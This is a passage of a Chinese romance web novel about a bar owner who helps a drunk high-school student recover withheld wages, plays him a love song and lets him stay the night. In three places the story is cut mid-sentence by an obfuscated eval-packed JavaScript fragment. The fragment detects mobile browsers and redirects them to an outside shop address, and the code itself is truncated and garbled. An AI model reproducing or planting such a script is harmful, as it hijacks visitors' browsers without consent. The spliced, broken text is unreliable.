“我要辞职,结工资。” 江逾白小嘴嘟嘟囔囔的,里倒歪斜的往外走。 “诶,不是,你慢点儿,诶我草,那是女厕所!” 12. 冰块 “少了五百。”江逾白攥着手里的两千块钱,支吾不清的对管理员说。 管理员竖眉,呵斥到:“什么少五百,你一个钟点工,也就周六周日能干个满天,给你这些都不错了!” “你和我讲的时候,说的是一个月两千五。”江逾白平静的叙述,然后抬头重复:“少了五百。” 管理员不耐烦了:“你他妈爱要不要啊!我没全给你扣没你都应该谢谢我!今天李靖宇组的局儿你还敢中途跑出来,他气的把我一顿骂,我要不要算在你头上啊?!” 贺欲燃在旁边背靠墙壁,抱胸看戏,他想起江逾白那张好孩子的脸,有点期待他能说出什么。 最终,他看着江逾白饱满的后脑勺低了下来,半天没说话,贺欲燃叹了口气。 怎么着也还是个孩子。 算了,帮人帮到底。 他撸起袖子就要上去帮忙理论。 “根据《劳动法》第五十条的规定,工资应当以货币形式按月支付给劳动者本人,不得克扣或者无故拖欠劳动者的工资,违反相关规定者,会承担法律责任,并受到相应的行政处罚。” 这一句话下来连个喯儿都没打。 贺欲燃这次是真分不清江逾白真喝多假喝多了。 江逾白盯着管理员早就跟调色盘似的脸,平静的输出:“如果您执意要克扣工资的话,我可以向当地劳动行政管理部门对你们店进行投诉。” 虽说这一系列发言非常有理有据,但江逾白这个年纪,在很多人眼里就是小孩儿,谁会把一个小孩儿的话放在眼里。 这种勾当遍地都是,更何况他们还有李靖宇撑腰。 管理员没有松口的意思,反而嘲弄的笑道:“你告去啊?小屁孩本事不大倒是会胡扯,我他妈还怕你不成?” 江逾白沉默片刻,着重补充:“那你们店里的其他服务,怕举报么?” 管理员一愣。 “可能造不成什么实质性威胁。”江逾白眼神不清醒,但嘴皮子倒是厉害:“但如果一旦举报成功,停业调查我想没问题。” “……” 纵使有再有人撑腰,但这要真闹上去,那闭店多天的损失也是不容小觑。 江逾白脑袋转的挺快嘛。 贺欲燃突然感觉自己的担心多余了,在旁边默默小学生举手:“那个,我可以作证。” “你!”管理员指指他,又看看贺欲燃,气的两眼一闭快升天了。 那五百块钱“啪”的一声甩在桌子上。 “拿了钱滚!”管理员骂骂咧咧的走了。 贺欲燃看着江逾白收好钱进兜,脚步忽地一顿,就要往下栽。 双手将他扶稳,让他一只胳膊搭在自己肩膀,一步一步的往出挪。 刚站的不是好好的,怎么说倒就倒了。 贺欲燃开着车,转头看着副驾驶的江逾白。他静静的闭上眼,像是在假寐。 他忽然想起前几次见他的时候,这双眼睛就像是被浓雾笼罩的湖泊,深不见底,疏离又冷漠。 贺欲燃有点想笑。 江逾白,你到底是真乖还是假乖。 似乎是察觉到目光,江逾白睁开了双眼。 贺欲燃有一秒的尴尬。 “送你回家吗?我大概还记得你家在哪。” 江逾白往上撑了一下,坐起来:“我家没人,进不去。” “你忘带钥匙了?” 江逾白犹豫了一下,点头。 “这么晚了你爸妈都没回来吗?工作这么忙?”贺欲燃好奇的问。 江逾白没有回答他的话,按开了手机,忽然道:“能用现金跟你换一下转账吗?” 话题转变很快,贺欲燃不明所以的看看他,但还是点了头:“行,转多少?” “两千五。” “收款码。”贺欲燃忙着看路况,打开扫一扫就递了过去。 “滴”的一声。 贺欲燃刚准备付款,低头却看见江逾白的个人名片。 “不好意思,我给错码了。”江逾白说完,又补充:“用转账也行,我免通过的。” 贺欲燃看看他,又看看名片。 这两个码,是容易点错的吗? 收完钱,江逾白把自己兜里的两千五递给贺欲燃,口齿不清的说了句:“谢谢。”然后打开了微信,点开置顶联系人,将刚才的两千五尽数转了过去。 贺欲燃无意间瞥到:“你工资还要上交啊?” 江逾白明显一愣,把手机往下扣住:“没。”然后突然又点头:“对。” 贺欲燃只觉得奇怪,没再多问,话锋一转:“现在把你送到哪,有地方去吗?” 江逾白头靠着车窗,双眼极慢的睁开,瞳孔涣散着,显然晕的不行:“学校附近就行,我和我爸联系,他到家了我就回去。” 贺欲燃苦笑。大晚上把你放学校附近,我是多没良心,还是多喜欢公报私仇啊。 “算了,你晕成这个样子出了事谁负责?”贺欲燃忍住想嘴他的冲动:“我带你去我清吧待会儿,你赶紧跟你家长联系一下。” 江逾白支撑着浑浑噩噩的脑子,很轻很轻的“嗯”了一声。 气氛沉默住,旁边的江逾白歪着头倒在一旁,贺欲燃看不到他的脸,以为他是醉意太重睡着了。 “燃哥。” 江逾白把脑袋转过来,眼里是满满的困意。 “啊?怎么了?”贺欲燃没想到他醒着。 江逾白往上直了直身子,问:“那盒巧克力,有吃吗?” 贺欲燃没有立刻反应过来,想了半天才想起来那盒巧克力都进了谁的嘴。 虽然自己再不待见江逾白吧,但总归也是他的一份心意,更何况他今晚帮了自己,不应该扫兴才对。 “吃了。”他咯咯乐着:“挺好吃的。” 他以为自己的演技还不错,至少应该不会让人怀疑,他对着那盒情人节限定款巧克力说了多少江逾白的坏话。 余光里,那颗脑袋动了动,又转了回去:“好。” 贺欲燃感觉他好像没信…… 不过他幸好看过包装,粉红粉红的,应该是草莓味的。 为了更真实一点,贺欲燃清了清嗓子:“呃,草莓味儿的,真的,挺好吃的,在哪买的?” 江逾白不说话,贺欲燃感觉快要窒息了。 “桃子。” 贺欲燃:“啊?” “那是桃子味的。”江逾白平静阐述。 草…… 画蛇添足,能不能别看见粉色就猜草莓啊贺欲燃! 贺欲燃闭了闭眼,硬着头皮往回圆:“啊,我记错了可能……哈哈,差不多,感觉……” 气氛凝固了很久,江逾白像是反射弧太长,又像是思考了很久才说。 “差很多。” 他声音沉沉的,有着醉酒后的不清醒。 贺欲燃不太明白他突如其来的情绪,可能,人喝多了都会有些不一样。 他装作没听清:“什么?” 江逾白只是看着窗外的夜色,摇摇头。他背对着贺欲燃,车窗只能倒映出他模糊不清的轮廓。 贺欲燃知道他不会往下问了,点了点头。江逾白这个人就是这样,很多话从来不说第二遍,所以在他这里装没听清很有效果。 车子停了,江逾白酒醒了点,还算流畅的走下了车,他望着头顶那块蓝紫色牌匾,上面写着:CX330。字是用不同的灯串排组的,在黑夜里不停的闪烁着,看着很酷炫高级。 “是,一颗恒星的名字。”江逾白说。 贺欲燃挺意外他会说出来历,因为很多客人都曾问过他清吧的命名:“你知道?” “忘记在哪里看到。”江逾白又说:“宇宙中孤独且罕见的恒星。” 贺欲燃看着夜色中江逾白亮晶晶的眸子,笑出来:“对,因为它……” 他还想往下说,但江逾白已经接上:“因为它处于银河系的荒漠空间中,与它距离最近的恒星也远在千万光年外。”他转头对上贺欲燃讶异的目光:“所以才被称为,孤独的恒星。” 在千万光年以外的距离孤独的闪耀着,直至陨落。 江逾白喝了酒,眼睛里有轻微的水汽,眼尾微红。 “你很有研究。”贺欲燃看着他。 “不算,只是无聊的时候会翻看一些这方面的书。”江逾白停顿了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848856|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “进来吧。”贺欲燃锁了车,朝他摆手。 那是一家以宇宙星系为主题的大型清吧,各种色彩风格碰撞,头顶天花板和墙壁印刷着深邃又神秘的夜空,各种以星球为元素的桌椅吊灯,墙壁上挂着的复古太空服和头盔,让人踏进去就像被卷入了一场星际穿越。 贺欲燃捕捉到江逾白的好奇,凑过去打趣说:“你喜欢这种装修风格啊?” 江逾白点点头,又开始环顾四周:“很酷。” 贺欲燃看看他一身干净的白t和精致淡雅的脸颊。 那和你本人风格可真不搭。 “现在人有点多,进里面坐。” 江逾白忙着欣赏面前墙壁上镶嵌着的巨大月球,完全没听到贺欲燃讲话。 “江逾白。”贺欲燃叫他。 “啊?”江逾白如梦初醒般睁大双眼。 贺欲燃是真觉得他喝完酒很呆:“进来坐吧,外面人很多。” 虽然是一家清吧,但客流量却是相当的多,这会人爆满,清吧不吵闹,放着抒情的流行音乐,大家在微醺的状态下和朋友恋人聊天,气氛很不错。 顺着楼梯口下来就是酒窖,而对面有间门上写着“330”的房间,贺欲燃推开门进去,是一个大概四十平的休息屋,简单的一张大床,沙发,桌子和电视,还有挂在墙上的一把吉他。 “你要是晕就进去躺一会儿,我出去一下。”贺欲燃走到门口,正好跟鬼鬼祟祟的柯漾和王康撞上。 贺欲燃吓一激灵,然后语重心长道:“两位,在自己店,不需要偷东西。” “嘿嘿燃哥,不好意思不好意思,那个,屋里那个帅哥是谁啊?”王康探个脑袋往里看。 “是啊哥,这么帅!”柯漾两眼放光:“我听楚夏说你英雄救帅了,诶,这屋里这个是不是啊?” “他刚进来的时候,有几个小姑娘眼睛都直了,不会吧燃哥。”王康眼睛一眯,不怀好意:“你改行喜欢这种小白兔类型啦?” 贺欲燃被他俩吵的脑袋疼:“滚。” “诶诶别走啊燃哥,到底哪领回来的啊!” 贺欲燃一巴掌呼在王康脖颈:“捡的!” “……”王康。 难不成他要坦白这是他情敌吗!? 大晚上把宿醉的情敌带回来照顾,他真觉得狗血的可以。 “啊?在哪捡的能捡到这么帅的?”柯漾挠脑袋:“有这种类型的美女吗?” 贺欲燃发誓,有机会一定给这两个傻逼嘴开光。 虽然说酒醒的差不多,但头还是晕得很,江逾白头靠在沙发靠背,屋里温暖安静,他感觉自己快睡在这了。 冰凉的指尖触碰到他温热的脸颊,江逾白抬头,对上贺欲燃墨黑色的双眸。 “困了?先别睡。”贺欲燃摇了摇手里刚冲好的蜂蜜水:“喝了,解酒的。” 江逾白双眼聚焦,边揉着眼睛边点头:“好。” 贺欲燃给把手边的冰块递过去:“刚冲好的有点热,加点冰块。” 江逾白点头,拿过水壶给自己倒水。 因为屋里太热,江逾白的衬衫随意的解开了两个扣子,俯下身倒水时,白皙的胸口一览无余。 他身子竟然比脸还要白一些,迎着屋内明亮的灯光,胸脯沟壑被描慕的极其明显,而那线条优美的锁骨处,有一道轻轻的红痕,像是无意间被利器刮蹭的结果,又像是被什么力量紧紧束缚后而留下的痕迹…… 贺欲燃低下头。 “怎么了。”江逾白察觉到贺欲燃的不自在。 “啊?”贺欲燃口干:“没。” “当——” 江逾白低头往桌子底下摸:“盖子掉了。” 贺欲燃无意间一撇,随着他弯腰的动作,白t的领口愈来愈大,径直能看到江逾白健硕的胸肌。 贺欲燃闭眼。 眼睛戳瞎算了。 他盛出满满一勺子冰块,全放进面前那碗蜂蜜水里,在江逾白不明所以的目光中仰头喝得一干二净。 江逾白仰头喝水,随着瞳孔的聚缩,贺欲燃拙劣的掩饰被他尽收眼底。 飘渺的薄雾下,那弯清澈见底的湖泊,似乎又泛起了不易察觉的涟漪。 13. 有我呢 一杯微凉的蜂蜜水下肚,江逾白感觉整个人清醒了很多,他靠在身后的沙发垫,抬眼看了下墙壁上挂着那把棕色的吉他。 “你会弹吉他的吗。”江逾白目光呆滞,问这句话的时候脑袋摇摇晃晃的,显然还是醉酒的状态。 他这次没叫燃哥,突如其来的一句问话让贺欲燃有点恍惚。 他顺着江逾白的视线撇了一下:“嗯。小时候学的。” “厉害。” 这句夸奖有点莫名其妙,他看向瘫在自己沙发上的某个情敌:“会弹吉他怎么厉害了。” 江逾白的目光从吉他平移到贺欲燃脸庞:“很帅,我喜欢有艺术气息的东西。” 贺欲燃紧了紧脑后的小辫子:“喜欢就学啊。” 他这句话是敷衍的,只是顺口一回,但回过神时,他突然看见江逾白低垂下的眼眸,不知是不是困的,他那浓密的长睫无力的扇了扇,像是折了翅膀摇曳的蝴蝶。 “我很笨。”江逾白眼尾低垂,有种说不出的苦情:“学了也是浪费钱。” 他委婉的话,贺欲燃其实听懂了。 今天他在酒吧对老板信手拈来的那段回怼,确实很帅,但贺欲燃知道,是因为他对于这样的欺负和勒索,已经习惯了。 贺欲燃从小虽然没得到过父母的宠爱,但起码他丰衣足食,如果让他在十七八的年纪去对付刚才的事,或许只有暴躁的上去用武力解决,然后没准这两千五还要倒赔给人家。 看着江逾白那间洗到已经稍微褪色的蓝T,那句“喜欢就学啊”其实并不轻松。 “你要试试吗?”贺欲燃可能是太着急找补了,脱口而出的时候自己都没反应过来。 他扶额,在心里大骂自己嘴快。他其实是很讨厌别人碰他的东西的,但对上江逾白那双渴望的眼睛,他认命的站起身把吉他取了下来。 贺欲燃拿在手里,却突然不知道该给谁。 “呃……所以我现在要教你是吧。”贺欲燃挠挠头。 他还没教过人。 江逾白抬头仰望着他站在灯光下拿着吉他的身形,眼睛亮的像个看到偶像的热衷粉丝:“可以听你弹一首吗?” 他的声音很小,干净温和的嗓音放轻时,略带祈求的口吻。 贺欲燃坐下来,架起吉他,随意的扫了下弦:“你想听什么。” 江逾白有些浑浊的目光落到贺欲燃那双握着吉他的手,那骨骼分明的手腕上,戴着一条银色的手链,用力时,手背的青筋微微突起,手链也跟着晃动,在暖色调的灯光下,泛着一层模糊跳跃的光。 “你会什么就弹什么。”江逾白说。 贺欲燃挑起眉毛看他,嘴角上翘,一抹不羁的笑容展现在脸上:“我会的多了去了,都弹一遍吗?” 江逾白思索了一下,认真的说:“有我呢。” 情歌啊,贺欲燃有点惊讶。 还真是和你不搭边。 贺欲燃调整了下坐姿,深色的木质吉他,奶白色的毛衣,暖色调的灯光轻抚着他白嫩的脸颊,刻画出一副的温柔和安静的油画。 吉他价格不菲,声音也恬静又流畅。 贺欲燃轻轻扫弦,弹出第一句的旋律。 “可以,唱吗?”江逾白又说。 贺欲燃抬眼看他,眼神中显然有一丝不悦。这个情敌,似乎有点太麻烦了。 他深呼吸,从江逾白的脸庞挪开目光。 “你说你没安全感,习惯了孤单。” 江逾白呆愣的看着他。 原来贺欲燃唱歌时的嗓音和平常说话是不一样的。 那嗓音清澈温柔,每一个跳跃的音符都随着舒缓又空灵的弦音砸进江逾白的耳朵,顺着往下,沁入心脾,卷起层层叠浪。 “我会让你习惯,多一个人陪伴……” “我们都怕寂寞,被时间慢慢吞没……” 贺欲燃闭上眼,音调稍微提高,这首深情款款的情歌,在他那张撩拨话语层出不穷的嘴里一字一句的唱出,他自己都觉得讥讽。 他嘲弄的笑起来,吉他弹错了一个音符,抬头准备收尾,对上了江逾白略微震惊的目光。 “别怕,亲爱的,有我呢……” 贺欲燃嘴角带着笑,抬眼看人的时候,配上那句抒情的歌词,准备收尾而轻慢下来的音调,就像是真的安抚自己的爱人,轻柔的呢喃那句:别怕,亲爱的,有我呢。 江逾白深深的沉浸在其中,有些无法自拔。 “弹完了。”贺欲燃的转变快准狠,有着一瞬间就把人拉回原世界的冰冷。 江逾白点点头,目光随着他移动:“很好听。” 对于这类夸奖贺欲燃早都习惯了,他只是把吉他重新挂好:“倒是没想过你会喜欢这种歌。” 一种充满安全感和爱意的情歌。 “它旋律很好听。而且情歌抒情,让人觉得安心。”江逾白回答。 他这么一说,贺欲燃才反应过来。 大晚上的给情敌唱情歌,也真是疯了。 只是。 他想起最后一句歌词唱完,他抬头对上江逾白的眼睛,不知是不是灯光晃的,他总觉的他眼眶里似乎泛着水光。 是觉得太好听了。 还是哭了? 贺欲燃晃晃脑子,觉得自己想法神经,他还没到唱首歌就能把人感动的痛哭流涕的程度吧。 他回头看江逾白,他果然已经恢复了淡然的神色,安静的坐在那,就好像刚才眼睛亮的跟星星一样的不是他。 也对,江逾白那双跟灯光似的眼睛想亮就亮,想暗就暗,乖顺和冷漠就是他一眨眼的事。 贺欲燃瘫在床上,有点疲了:“联系到家人没,已经很晚了,我这里不留人。” “嗯,我爸说他回来了,我先走了,谢谢燃哥。”江逾白站起身,就要开门往出走。 贺欲燃忍不住回头看他,高挑的身形有些晃悠,他酒还没完全醒。 他从床上跳起来,抓起茶几上的车钥匙,回手用一根手指挑起挂着的大衣,顺滑的溜到他臂弯:“慢着吧,我送你。” 我就是情敌和crush的御用司机。 贺欲燃咬牙。 他这辈子没想到,自己crush的家他还蒙头转向,自己情敌的家倒是轻车熟路了。 清吧就在樱花路后街,所以再转两条街就是江逾白的家,还算近,不过十五分钟的车程。 贺欲燃凭着记忆停了车,却发现不对,江逾白说他爸回来了,但屋子一盏灯没开,就连上了锈的铁大门都紧锁着,他第一反应是自己停错了。 “江逾白,你家哪栋来着?我有点忘了。” 江逾白昏昏沉沉的睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848857|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开眼,困的上下眼皮打架:“是这里,谢谢燃哥。” “你不说你爸回来了?门锁着。”贺欲燃疑惑道。 江逾白握着车把手的动作停滞了一下,往窗外看了一眼,开门下车。 “没事哥,我等他一会儿,可能在路上。” 贺欲燃总觉得不对劲。工作再怎么忙也不能这么疏忽自己的孩子吧? 他内心生出一股无名火,是对于这种不负责任的家长打心眼里的厌恶。 “你再联系一下,你喝多了一个人不安全。我陪你,赶紧打。” 江逾白的手动了一下,摸出手机,解锁,在电话簿里翻了又翻,又抬着眼皮瞄几眼贺欲燃,长达二十秒,才最后按下了拨通。 电话嘟嘟了两声,在第三声刚响起时,乍然结束。 江逾白屹立在风中,淡漠的揣起了手机,有种在酒吧里和老板对峙的从容,就像丝毫不出乎他的意料一般。 “不接?”贺欲燃不可思议的说。 江逾白淡淡的说:“挂了。你先走吧燃哥,他工作忙,应该是没空。”他说最后一句话时,偏头摸了下鼻子。 贺欲燃不知道说什么,也不知道自己该不该继续管,只好关了车窗,准备离开。 车灯闪过,他看着江逾白站在那扇紧闭的门前,伸手晃了晃铁栅栏,但他知道这是无用功,又把手泄气一般的垂下来。漆黑的夜里,江逾白唯一的光线只有贺欲燃还在停留的车灯。 贺欲燃看着他在浓浓夜色中被风吹起的衣摆,他看不见江逾白此刻的表情,但他似乎隐约间看见,多年前那个穿着校服,蹲在自己家门前守了一夜的自己。 十年前,晚自习放学,他一如既往的回家,却发现门已经上了锁,无法和家里取得联系的他不知道该怎么办,只能傻傻的站在原地,无助的摇晃着铁门。 新开发的地段没有什么人住,唯一的几户人家他都不认识,他坐在地上一会儿看看书,一会儿玩玩石头,他以为爸爸妈妈很快就会回来了,直到自己靠着冰凉的路灯睡着,他冷的蜷缩,醒了好几次,每次醒过来,他都幻想着下一次睁眼就躺在温暖的床上。 但最后一次醒来,是爸爸愧疚的抱抱他说:“昨天你弟弟吵着要去游乐园,太晚了,玩完只能在那找宾馆睡下了,抱歉儿子。” 贺军低下头,亲了亲他的脸。 “爸爸忘记跟你说了。” 贺欲燃的委屈像是被无情抵挡住的洪流,波涛汹涌的撞击着他的心脏瓣膜,他双耳嗡嗡作响,胸腔中那扇坚固的闸门却死死关紧,无论浪涛怎么翻滚都始终无法得到解脱。 他只感觉周身冰冷的可怕,却连眼泪都没掉,只是摇摇头说:“没事。” 心底的浪涛再一次归于平静。 他站起已经酸痛的身子,在爸爸妈妈无奈又抱歉的目光中,一瘸一拐的走进院子。 那是他第一次知道失望透顶是什么感觉。 他抓紧方向盘,恍惚间,他看见江逾白与当年自己小小的身影重合了。 他再一次摇下车窗:“江逾白。” 江逾白回过头,车灯闪的他眼睛微眯。 贺欲燃其实有一瞬间是后悔的。 他“啧”了一声,最后说:“我真是欠你的。” 他总是在冲动之下做很多事。 “上来。” 14. 我喜欢……一点的 我要报勾,情敌有两…… “今天晚上你就睡这吧,我只有平常酒吧太忙的时候会住在这,所以地方比较小,你凑合。” 贺欲燃把手上的车钥匙扔在茶几,边脱大衣边交代。 江逾白点点头,有些拘束的站在床边:“谢谢燃哥,给你添麻烦了。” 贺欲燃抬头对上江逾白真挚的眼神,倏地回了个冷笑:“是挺麻烦的。” “……” “明早几点走?我让王康早点来给你开一下大门。”贺欲燃回头问他。 “我明早要去找兼职,八点。” 这么拼?贺欲燃看看面前这个单纯无害,看起来挑不起什么大梁的高中生,打心眼里佩服:“行,我让他明天早点到。” “好。” “哦对了,你一身酒味儿,电视旁边那间门就是浴室,进去洗洗再上床。”贺欲燃有洁癖,皱着眉指了指门。 江逾白乖乖的点头:“好。” “燃哥?你在里面吗?” 门外突然传来温柔的女声。 贺欲燃打开门,邹琪玥站在门口,笑盈盈的看着他:“燃哥,我这两天没时间过来,好不容易今天这个点碰到你,来跟你对一下这个月的账。” 贺欲燃闻言,一脸无奈的看着她:“搞不懂你男朋友给你下了什么迷魂汤了啊?”他伸出手点点邹琪玥的脑门,有点气又拿她没办法:“天天罢工跟男朋友出去玩,是不是得给你扣工资了?” 邹琪玥听他这么说,委屈巴巴的撇了撇嘴:“错了错了,我发誓!最后一次!” 贺欲燃白了她一眼,目光中全是宠溺的味道,他是把面前这个活泼灵动的女孩当妹妹看的:“少来了,你就知道我不会扣你钱才这么明目张胆的。” “嘻嘻。”邹琪玥笑起来,眼睛弯成月牙,俏皮的很。 “进来吧,把账本拿过来我看看。”贺欲燃勾勾手,然后坐在了沙发上。 “好嘞!” 邹琪玥进了屋才看见里面站着个长腿冷脸大帅哥。 和江逾白对上眼的那一刻,她被帅的有点晃神。 “啊,哥,要不我们改天也行。”邹琪玥边打量着江逾白边说:“我不知道你带了男朋友回来。” 贺欲燃五雷轰顶。 “谁跟你说这是我男朋友了?” “啊?不是吗?你不是说自己只会带男朋友在这里过夜吗?” 邹琪玥眨巴着大眼睛,无辜又清澈。 贺欲燃感觉脸颊发烫,他回过头,江逾白就那么一脸平静的看着他。 你倒是说句话啊? 贺欲燃在心里骂了江逾白一万句,才说:“这是我朋友,出了点小意外回不去家了,我才让他来这过的夜。”他一字一顿的着重交代:“而且我,一会儿就走,只有他睡这,懂了吗?” 邹琪玥看看冷脸大帅哥,又看看脸红脖子粗的贺欲燃。 “不是就不是呗,怎么还喊上了。”邹琪玥嫌弃的上下打量他:“此地无银三百两。” 她最后那句话是嘟囔着说出来的,但屋子小,俩人听的一清二楚。 贺欲燃这回脸不烫了,浑身都烫。 好在身后那个哑巴终于肯站起来说句话了:“姐姐你好,我叫江逾白,是燃哥的。”他突然停顿,然后看向脸已经绿了的贺欲燃。 他这个停顿虽然很自然,但切入点太微妙,邹琪玥一下子就捕捉到,眼神都不一样了。 贺欲燃瞥了一眼江逾白。 看我干嘛?继续说啊? “是燃哥的朋友,来这里借宿一晚,希望没给大家添麻烦。”江逾白微笑着点头。 邹琪玥眯眯眼睛,目光在两个人身上来回跳跃。 不对劲,十分有二十分不对劲。 她站起身,礼貌的回了个甜美的笑容:“你好小弟弟,我叫邹琪玥,是这家店的会计。”她又打量了一下江逾白:“你真帅,燃哥的朋友长的都好看。” “谢谢姐姐,你也很好看。”江逾白笑意更深,醉酒后脸颊微红,说不出的温良单纯。 贺欲燃给了个白眼,见到比自己大的就哥哥姐姐的叫,夸别人的时候草稿都不带打的,结果裴意在的时候,连眼神都像是在跟他宣战。 装。 “哈哈哈,你嘴真甜。”邹琪玥让他夸开心了,笑的脸都红了:“你多大啊,看你这样应该是高中生吧?” “嗯,十八,高三。” “哎呦男高中生啊,看起来就乖。” “你俩相亲呢?”贺欲燃打断。 他看不下去了,推了推这个话匣子一打开就关不上的邹琪玥:“你男朋友来接你了,赶紧走。” “啊?没啊他还有半个小时来……诶!你别推我啊。” 关门,世界安静。 贺欲燃闭上眼,深吐了口气。 “她话很多,爱瞎说,你赶紧洗洗睡吧,我对下账就走了。”不知为何,贺欲燃有点不好意思看江逾白的脸。 他反而淡定极了,点点头就进了浴室。 贺欲燃纳闷,真不知道江逾白是表情管理好,还是压根感觉不到尴尬。 浴室传来水声,贺欲燃低头翻开账本,密密麻麻的数字和目录看的他眼睛疼。大学他学了四年的财务管理,学到最后他看见数字就犯恶心。 前几个月被学校分配到会计事务所实习,几个月下来他感觉自己都快被榨干了,社畜一样的生活让他跟永动机一样不能停歇,每天除了电脑就是账本,他是真的做不来这种死板又费脑子的工作。 贺欲燃刚对完一页的账就要吐了,他烦躁的抓了把额前的碎发:“我靠,阿拉伯数字就应该从世界上灭绝……” 虽然对业务很熟悉,但邹琪玥的记账方式跟他不一样,有的时候根本看不懂要思考很久,他有点后悔了刚才把人推走了。 他脑子乱作一团的时候,浴室的水声停了,他下意识的看过去。 门吱呀一声开了,江逾白探出一个湿漉漉的脑袋:“燃哥,有睡衣之类的吗,我那件t恤弄湿了,不太能穿。” 麻烦,太麻烦。 贺欲燃都快被他搞火大了,但转头看看自己干净整洁的床铺,算了,忍了。 他撇下账本:“等着。” 他不怎么在这里住,只有个很小的简易衣柜,除了一些工作穿的换洗衣物,里面放的就只有他的一套睡衣。 贺欲燃不是很想给他穿自己的,翻了半天,在最底层拽出一件小熊印花的长袖男士睡衣。 他拿起来,仔细回想了一下,然后睁大了双眼。 这是自己前任的。 贺欲燃只带男朋友回家过夜这件事不是假的,他有很严重的洁癖,更是认识楚夏之后,知道所谓的圈子里玩的有多脏的时候,他几乎是要生理不适。 所以他有个自己的原则,那就是不谈恋爱不上\\床,但他就长了一张渣男脸,再配上那张骚话出口成章的嘴,除了楚夏和身边的几个朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848858|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说出去没人肯信。 “忘记扔掉了么?”贺欲燃左右翻看了一下,那段尘封的记忆突然涌上脑海。 季森眠,交往过三个里面他最认真的一任,相知相识到相爱,一切浪漫又普通,他会为了季森眠公开,会为了他早点下班,两个人会一起做饭,一起散步,在深夜接吻,枕边缠绵。 但再甜蜜的情侣也有新鲜感过时的时候,当争吵不断,眼泪不停,贺欲燃渐渐开始展露自己温柔自信外表下的自卑脆弱,敏感拧巴时,两人以季森眠一句:“你让我觉得陌生。”潦草结束。 贺欲燃第一次向别人展露伤口,就输的一败涂地。 他看着那件小熊印花的睡衣,深呼了口气。 “穿这件。”贺欲燃扔过去。 突然想这些干什么,贺欲燃觉得自己有病。 他早就不喜欢季森眠了,他说的是真的。新鲜感褪去的时候,爱才渐渐显现,很可惜,两个人都没等到爱的降临,就这样形同陌路了。 贺欲燃坐回书桌,低头继续盘账,这件事也不过是在脑海里闪了一下,就变成过往云烟。 江逾白穿好衣服走出浴室。 “你要是困了就关灯早点睡,我这有台灯就行。”贺欲燃目光懒散的看向他。 这一眼,贺欲燃一下子精神了。 他忘了季森眠才178,而面前这个身材高挑健硕的江逾白,目测最低也要185,袖子和裤腿短的离谱,臂膀的肌肉几乎要把睡衣撑破,再加上那可爱的小熊印花,江逾白冷冰冰的脸,极强的违和感让贺欲燃差点憋出内伤。 贺欲燃赶紧把嘴抿成一条直线:“我这里没有别的睡衣了,你凑合一下……” 江逾白清了清嗓子:“嗯,没事,能穿。” 贺欲燃忍不住又抬头看他,江逾白拘束的站在那,脸虽说是一如既往的淡漠,但说话时眼睛却一直在瞎看,嘴角半抿,牙齿不断的摩擦着下唇。 他在尴尬吗? 贺欲燃突然有点兴奋是怎么回事。 他还没看过江逾白尴尬。 “不过说真的啊。”贺欲燃忍不住逗他:“你穿其实挺好看的,显得你,比较……” 他停顿了一下:“童真。” 江逾白像个木雕一样,就那么立在那了。 太好玩儿了,贺欲燃抿住嘴,不能笑。 “这衣服不是你的吧?”江逾白只是慌乱了一秒,就坦然坐下来。 “啊,我前任的。”倒也没什么好隐藏的。 江逾白停顿了两秒,揪起自己身上的小熊印花睡衣:“你原来喜欢这种类型。” “?” “可爱的男孩子谁不喜欢。”贺欲燃轻笑。 “我不喜欢可爱的。”江逾白顶着那张正直脸的说:“我喜欢性感一点的。” “?”贺欲燃感觉自己脑干被雷劈了。 他转头看看神色淡漠的跟冰块一样,穿着可爱的小熊睡衣的,清纯男高中生。 “你说话这么口无遮拦的吗?”贺欲燃忍不住震惊道。 江逾白耸肩,一副无所谓的模样:“只是说自己喜欢的类型罢了,有什么不对吗?” 他那么正义凛然的表情让贺欲燃开始怀疑自己了。 江逾白,裴意知道你是这个样子吗? 不过话说回来,裴意……Sexy吗? 他特别想问,但他觉的和情敌独处一室,还继续这种话题,真的很奇怪。 15. 晚安 贺欲燃在低头刷新三观的时候,身后那个纯情男高中生突然走到他身后了:“在对账吗?” 他气息温热,轻吹着自己的后脑,贺欲燃只觉得浑身不舒服。 “酒吧的账本,月末要拢一下。” 江逾白俯身看账本:“这么多?你今天都要弄完?” 贺欲燃翻了翻,极其不情愿的说:“能弄多少是多少吧。”他又低头看看腕表,准备收拾东西:“十一点了,不打扰你,我回家去弄。” “不是。”江逾白忽然抓住贺欲燃的手腕。 贺欲燃被微热的触感惊到,脑子里忽然闪过酒吧里两人十指相扣时,他的指尖也是这样的…… 